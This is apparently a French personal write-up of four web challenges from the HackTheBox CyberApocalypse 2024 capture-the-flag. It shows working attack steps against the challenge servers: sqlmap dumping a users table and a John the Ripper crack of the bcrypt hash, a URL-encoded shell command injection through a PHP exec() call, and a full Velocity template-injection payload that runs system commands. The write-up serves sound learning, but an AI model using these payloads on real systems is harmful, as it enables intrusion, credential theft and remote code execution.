De loin le plus gros CTF auquel j’ai participé. J’ai réussi à trouver 8 flags sur les 67, c’est peu mais mon record donc j’en reste assez content ! Les challenges étaient très sympas, et même si j’ai bloqué sur des choses bêtes, je me suis bien amusé.

C’est parti, donc, pour mon WriteUp des challenges Web de la CyberApocalypse 2024 !

Flag Command

Le tout premier challenge était présenté sous forme d’un jeu. J’ai commencé à jouer un peu pour voir, mais globalement on voit vite que le jeu en lui-même ne mène à rien.

Après une courte phase d’exploration, on voit un call intéressant dans la console: GET /api/options HTTP/1.1. Et la route retourne ceci:

{
  "allPossibleCommands": {
    "1": [
      "HEAD NORTH",
      "HEAD WEST",
      "HEAD EAST",
      "HEAD SOUTH"
    ],
    "2": [
      "GO DEEPER INTO THE FOREST",
      "FOLLOW A MYSTERIOUS PATH",
      "CLIMB A TREE",
      "TURN BACK"
    ],
    "3": [
      "EXPLORE A CAVE",
      "CROSS A RICKETY BRIDGE",
      "FOLLOW A GLOWING BUTTERFLY",
      "SET UP CAMP"
    ],
    "4": [
      "ENTER A MAGICAL PORTAL",
      "SWIM ACROSS A MYSTERIOUS LAKE",
      "FOLLOW A SINGING SQUIRREL",
      "BUILD A RAFT AND SAIL DOWNSTREAM"
    ],
    "secret": [
      "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack"
    ]
  }
}

La partie « secret » présente un intérêt certain, on tente donc de lancer « Blip-blop, in a pickle with a hiccup! Shmiggity-shmack » dans la console, et bingo !

{
  "message": "HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}"
}

Korp Terminal

Celui-là m’a donné un poil de fil à retordre (pour rien). On arrive sur une page de login. Le code n’indique rien, et les identifiants classiques ne donnent pas grand chose non plus. La seule indication intéressante est la durée de la request qui est plus importante quand on écrit « admin » que « test » ou « super », ce qui peut signifier que plus d’actions sont effectuées quand le username est « admin », donc qu’il existe en base.

On tente un coup de SqlMap et on obtient des choses intéressantes:

SQLMap
---
available databases [3]:
[*] information_schema
[*] korp_terminal
[*] test

[11:18:23] [INFO] retrieved: 'korp_terminal'
[11:18:23] [INFO] retrieved: 'users'
Database: korp_terminal
[1 table]
+-------+
| users |
+-------+

[11:18:23] [INFO] resumed: 'korp_terminal'
[11:18:23] [INFO] resumed: 'users'
[11:18:23] [INFO] retrieved: 'id'
[11:18:23] [INFO] retrieved: 'int(11)'
[11:18:23] [INFO] retrieved: 'username'
[11:18:23] [INFO] retrieved: 'varchar(255)'
[11:18:24] [INFO] retrieved: 'password'
[11:18:24] [INFO] retrieved: 'varchar(255)'
Database: korp_terminal
Table: users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

Une seule table, donc globalement le challenge va se situer là. Et si on exfiltrait les données ?

sqlmap -u http://83.136.254.99:33828/ -D korp_terminal -T users -C username,password -dump --ignore-code 401 --forms
Database: korp_terminal
Table: users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv. |
+----------+--------------------------------------------------------------+

Ça ressemble fort à du bcrypt, on tente donc un coup de JohnTheRipper:

./run/john --format=bcrypt --wordlist=xato-net-10-million-passwords.txt hash.txt

Et bingo ! Notre cher John nous donne: password123 (yep je l’ai pas testé celui-là…). On entre les logs et on obtient:

HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}

TimeKorp

En jetant un oeil dans le code source, on tombe rapidement sur une partie intéressante:

public function __construct($format)
{
    $this->command = "date '+" . $format . "' 2>&1";
}

public function getTime()
{
    $time = exec($this->command);
    $res  = isset($time) ? $time : '?';
    return $res;
}

Un petit exec fort intéressant ! On tente de construire une commande qui nous permettrait d’injecter le code que l’on veut:

date '+%H:%M:%S '+"$(ls)"+'' 2>&1

Le + » final est simplement pour terminer la commande proprement puisque ce qu’on injecte sera entre quotes. La commande marche bien, et on peut voir autre chose intéressant dans la source:

# Copy flag
COPY flag /flag

On veut donc injecter le payload suivant:

'+"$(cat /flag)"+'

Ce qui, encodé en URL donne:

/?format=%H:%M:%S%27%2B%22%24%28cat%20%2Fflag%29%22%2B%27

Et voilà !

Labyrinth Linguist

Dernier challenge de cette CyberApocalypse que j’ai réussi. Globalement on comprend assez vite qu’il faut tenter une injection de template ! Comme le code est en java j’ai par défaut tenté plusieurs payloads en freemarker mais rien ne marche. Plongeons donc un peu dans le code. On finit par voir ceci dans le code:

org.apache.velocity.Template t = new org.apache.velocity.Template();

On lit un peu de doc et quelques articles et on crafte le payload suivant:

#set($s="")
#set($stringClass=$s.getClass())
#set($stringBuilderClass=$stringClass.forName("java.lang.StringBuilder"))
#set($inputStreamClass=$stringClass.forName("java.io.InputStream"))
#set($readerClass=$stringClass.forName("java.io.Reader"))
#set($inputStreamReaderClass=$stringClass.forName("java.io.InputStreamReader"))
#set($bufferedReaderClass=$stringClass.forName("java.io.BufferedReader"))
#set($collectorsClass=$stringClass.forName("java.util.stream.Collectors"))
#set($systemClass=$stringClass.forName("java.lang.System"))
#set($stringBuilderConstructor=$stringBuilderClass.getConstructor())
#set($inputStreamReaderConstructor=$inputStreamReaderClass.getConstructor($inputStreamClass))
#set($bufferedReaderConstructor=$bufferedReaderClass.getConstructor($readerClass))

#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec(""))
#set($null=$process.waitFor() )

#set($inputStream=$process.getInputStream())
#set($inputStreamReader=$inputStreamReaderConstructor.newInstance($inputStream))
#set($bufferedReader=$bufferedReaderConstructor.newInstance($inputStreamReader))
#set($stringBuilder=$stringBuilderConstructor.newInstance())

#set($output=$bufferedReader.lines().collect($collectorsClass.joining($systemClass.lineSeparator())))

$output

Comme ça on va pouvoir lancer des commandes depuis le $runtime.exec(«  ») ! On lance un ls et on obtient:

app
bin
boot
dev
entrypoint.sh
etc
flag6cab6e5572.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Puis un petit:

cat /flag6cab6e5572.txt

Et on obtient:

HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}

Conclusions de la CyberApocalypse

Un CTF très amusant avec une grosse diversité de challenges (67, quand même). J’ai senti que d’en avoir tenté deux avant m’a aidé à me sentir à l’aise durant ce CTF et dans mon efficacité d’exploration. Hâte d’en refaire, et hâte de l’édition suivante d’un CTF par HackTheBox !